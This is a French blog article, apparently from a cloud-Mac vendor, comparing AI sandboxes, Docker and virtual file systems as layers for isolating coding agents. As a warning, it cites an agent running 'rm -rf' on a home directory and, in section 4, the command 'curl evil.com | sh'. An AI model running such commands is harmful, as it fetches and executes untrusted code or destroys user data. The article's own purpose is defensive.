AI Sandbox vs Docker vs système de fichiers virtuel : quelles différences ?

Lorsque vous construisez un pipeline Coding Agent pour votre équipe, trois termes sont souvent confondus : AI Sandbox, Docker et système de fichiers virtuel (VFS). La doc produit dit « l'Agent exécute des commandes dans une sandbox », les ops disent « isolez avec Docker », l'IDE annonce « espace de travail virtuel activé » — tout promet d'empêcher le code IA de casser votre machine. Pourtant ce qui est isolé, sa durée de vie et son coût d'exploitation diffèrent totalement.

Échec typique en 2026 : lancer une image Docker pour une seule tâche Agent, attendre 30 secondes de démarrage à froid, puis voir le conteneur expirer avant de finir de compter les tokens. Ou zéro isolation — l'Agent exécute rm -rf sur votre répertoire personnel. Cet article s'adresse aux lecteurs Kvmjet — développeurs iOS, Flutter et apps IA — avec tableaux de décision et déploiement sur Cloud Mac / Apple Silicon.

Conclusion : ce ne sont pas des substituts mais des couches — exécution, runtime, vue fichier. AI Sandbox : code éphémère non fiable. Docker : environnements reproductibles. Systèmes de fichiers virtuels : vue workspace et protection de l'hôte.

1. Pourquoi ces trois concepts sont confondus

Les trois apparaissent sur la chaîne d'exigences « isolation », mais à des niveaux d'abstraction différents. « Exécuter le code Agent en sécurité » pose au moins trois questions :

• Où tourne le processus — frontière CPU/mémoire propre ou dans le processus IDE ?
• D'où vient l'environnement — Node 18 ou 22 ? Les bibliothèques système correspondent-elles au CI ?
• Où vont les écritures fichier — vrai dépôt ou répertoire « fantôme » jetable ?

AI Sandbox répond surtout à la première, en supposant un code non fiable et éphémère. Docker à la seconde — environnements répétables et versionnés. Les systèmes de fichiers virtuels (sens Agent) à la troisième — vue fichier avec rollback sans toujours démarrer un conteneur complet.

Beaucoup de stacks superposent deux ou trois couches : le Background Agent de Cursor peut tourner dans une microVM distante (Sandbox), monter un snapshot git worktree (VFS), utiliser une image avec toolchains Swift/Flutter (Docker). Séparer les couches évite le faux dilemme « tout Docker ou pas d'isolation ».

2. AI Sandbox : exécution éphémère pour Agents

AI Sandbox (Code Sandbox, Agent Runtime) a émergé en 2024–2026 avec les Coding Agents. Exemples : E2B, Modal Sandboxes, Daytona, environnements distants IDE. Traits communs :

• Démarrage sub-seconde : optimisé pour « un nouvel environnement à chaque tour Agent », pas des pulls d'images CI de plusieurs minutes.
• Destruction automatique : ressources récupérées après fin ou timeout — moins de canaux auxiliaires et de résidus.
• Réseau piloté par politique : trafic sortant refusé par défaut ou allowlist — bloque l'exfiltration générée par LLM.
• API-first : créer/exécuter/lire fichiers via SDK pour boucles Agent, pas docker run manuel.

Sous le capot : gVisor, microVM Firecracker, conteneurs légers, WASM. L'essentiel : le SLA correspond-il à la fréquence des tours Agent ? Un nouvel environnement toutes les 10 secondes rend le cold start Docker + pull un goulot.

Cas typiques : bots de correction auto, tests unitaires non fiables en batch, plateformes de jugement en ligne, scripts utilisateur SaaS multi-tenant — la frontière de confiance est la sortie LLM, une commande peut être malveillante.

2.1 Limites de l'AI Sandbox

Ne remplace pas un environnement de dev complet : builds Xcode, iOS Simulator, debug GUI nécessitent un vrai hôte macOS. Difficile d'exprimer « ce Podfile.lock doit correspondre byte à byte au CI prod » — les couches d'image Docker excellent là. Pattern dominant : Sandbox pour fragments non fiables, Docker/bare metal pour builds de confiance.

3. Docker : packaging d'environnement reproductible

Docker s'appuie sur namespaces Linux, cgroups, images en couches (OCI). Il répond : comment « ça marche chez moi » devient « ça marche partout ». Valeur pour les workflows Agent :

• Dépendances figées : un Dockerfile épingle Node, Python, libs système — les changements de code Agent n'upgradent pas l'environnement par accident.
• Parité CI/CD : docker compose up local et GitHub Actions partagent la même image.
• Longue durée : conteneurs pendant des jours, volumes, Kubernetes — pour services Agent Gateway, pas scripts ponctuels.

Pour les lecteurs Kvmjet, Docker sur Cloud Mac fait tourner backends Linux-only, OpenClaw Gateway, bases vectorielles, alternatives Plane/Jira auto-hébergées — souvent à côté de Xcode dans un environnement de dev Cloud Mac persistant.

3.1 Pièges d'utiliser Docker directement comme sandbox Agent

Utiliser docker run comme couche d'exécution Agent mène à :

• Démarrage lent : grosses images, pulls, montages — SLA sub-seconde difficile.
• Permissions et montages complexes : l'Agent a besoin de R/W dépôt, sockets, parfois GPU — chaque capability exige --mount / --cap-add.
• Cycle de vie manuel : Agents crashés laissent des conteneurs — orchestration externe pour nettoyer.

Docker convient mieux comme modèle d'environnement côté confiance, référencé dans une AI Sandbox ou un orchestrateur, que comme flags docker run assemblés par le LLM.

4. Système de fichiers virtuel : vue workspace Agent

Dans les produits Agent, « système de fichiers virtuel » signifie : indirection derrière les chemins Agent ; la disposition hôte est transparente ou en lecture seule. Modèles courants :

• Overlay / copy-on-write : image de base ou checkout git en lecture seule, couche supérieure writable — jeter l'overlay = rollback. Union FS Docker, couches éphémères Sandbox.
• git worktree / sparse checkout : l'Agent édite dans un worktree isolé — défaut de nombreux Agents IDE, overhead conteneur quasi nul.
• FUSE / montage distant : fichiers sur S3, NFS, machine de build — interface POSIX locale. Monorepos, conformité.
• Documents virtuels IDE : buffers non sauvegardés, prévisualisation diff — VFS lié à la session éditeur.

Le VFS seul n'isole pas les processus : si l'Agent exécute curl evil.com | sh, un overlay ne bloque pas le réseau. Il empêche de « casser le dépôt », pas le noyau. D'où l'empilement avec Sandbox ou Docker.

Voir la documentation Kernel VFS pour les overlays — pour choisir des outils Agent, privilégier « workspace », « snapshot », « rollback » dans la doc produit.

5. Comparaison et stratégies de combinaison

Modèles de combinaison (pratique 2026) :

1. Edits Cursor / Copilot locaux : VFS (worktree) principal ; Docker Compose optionnel avant tests pour aligner CI.
2. Auto-PR Background Agent : exécution AI Sandbox distante + snapshot dépôt VFS + image toolchain (build Docker).
3. Agent Gateway auto-hébergé : Docker/K8s pour Gateway et memory store ; micro-instance Sandbox par appel d'outil.

Si vous évaluez les tarifs Cursor Pro Background Agent, la facturation est souvent « minutes Sandbox + tokens modèle » — comprendre la couche Sandbox aide à prévoir au-delà de l'abonnement mensuel.

6. Déploiement sur Cloud Mac

Cloud Mac Apple Silicon est un nœud idéal pour stacks hybrides : Xcode/Flutter natifs + Docker Desktop + Agents distants. Phases suggérées :

• Phase 1 : git worktree donne une vue branche isolée ; bloquer git push non revu.
• Phase 2 : Docker Compose fixe backend et OpenClaw Gateway, co-déployé avec le plugin Agent Memory.
• Phase 3 : workflows exécutant automatiquement des scripts non fiables — intégrer E2B ou API Sandbox similaires, ou sidecar Linux ; jamais de shell inconnu sur macOS nu.

La mémoire unifiée M4 rend « Docker + IDE + Simulator » plus fluide que la plupart des VPS x86 — pour des tours Agent très denses, déporter la Sandbox vers un service dédié plutôt que des conteneurs locaux infinis.

7. FAQ

AI Sandbox et Docker sont-ils identiques ?

Non. Docker est un runtime conteneur généraliste ; AI Sandbox est une abstraction produit orientée Agent avec API, cycles de vie à la seconde et politiques pour code non fiable. Une implémentation Sandbox peut utiliser Docker — le modèle mental diffère.

Que signifie système de fichiers virtuel pour les Agents ?

Le workspace writable derrière ce que voit l'Agent — overlay, worktree, FUSE ou montage distant — pour rollback et pollution fichier, pas isolation processus.

Que choisir sur Cloud Mac ?

Dev quotidien : VFS plus Docker optionnel ; exécution non fiable via API Sandbox. Éviter les commandes système générées par LLM dans un shell macOS nu.

8. Résumé

AI Sandbox gouverne exécution et frontières de confiance, Docker la reproduction d'environnement, les systèmes de fichiers virtuels la vue workspace et le rollback — empilez les trois pour une infra Agent complète. Demandez ce que vous craignez le plus : code corrompu, dérive d'environnement ou exécution malveillante ? Chaque réponse mappe une couche différente.